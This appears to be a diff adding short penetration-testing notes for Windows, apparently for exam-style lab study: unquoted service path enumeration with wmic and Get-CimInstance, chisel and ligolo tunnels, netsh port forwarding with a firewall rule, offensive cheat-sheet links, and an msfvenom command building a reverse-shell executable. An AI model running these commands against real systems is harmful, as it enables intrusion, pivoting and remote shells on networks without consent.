+C:\Program Files\My.exe
+C:\Program Files\My Program\My.exe
+C:\Program Files\My Program\My service\service.exe
+`*Listing 66 - Example of how Windows will try to locate the correct path of an unquoted service*
+
+Get-CimInstance -ClassName win32_service | Select Name,State,PathName
+
+wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """

Windows/Tunnel/chisel.md

@@ -0,0 +1 @@
+`chisel client 192.168.45.206:443 R:socks`

Windows/Tunnel/ligolo.md

@@ -0,0 +1,5 @@
+Server:
+./proxy -selfcert
+
+Client:
+./agent.exe -connect 192.168.49.91:11601 -ignore-cert

Windows/Tunnel/netsh.md

@@ -0,0 +1,4 @@
+netsh interface portproxy add v4tov4 listenport=4545 listenaddress=192.168.228.64 connectport=4545 connectaddress=10.4.228.215
+
+Accept port forwarding 
+netsh advfirewall firewall add rule name="port_forward_ssh_4545" protocol=TCP dir=in localip=192.168.228.64 localport=4545 action=allow

Windows/WWW.md

@@ -0,0 +1,5 @@
+<https://wadcoms.github.io/> - WADComs is an interactive cheat sheet, containing a curated list of offensive security tools and their respective commands, to be used against Windows/AD environments.
+
+<https://book.jorianwoltjer.com/windows/local-enumeration> 
+
+<https://n000b3r.gitbook.io/oscp-notes/active-directory/persistence>

Windows/msfvenom.md

@@ -0,0 +1,6 @@
+
+
+
+```sh
+ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.224 LPORT=4444 -f exe > shell.exe
+```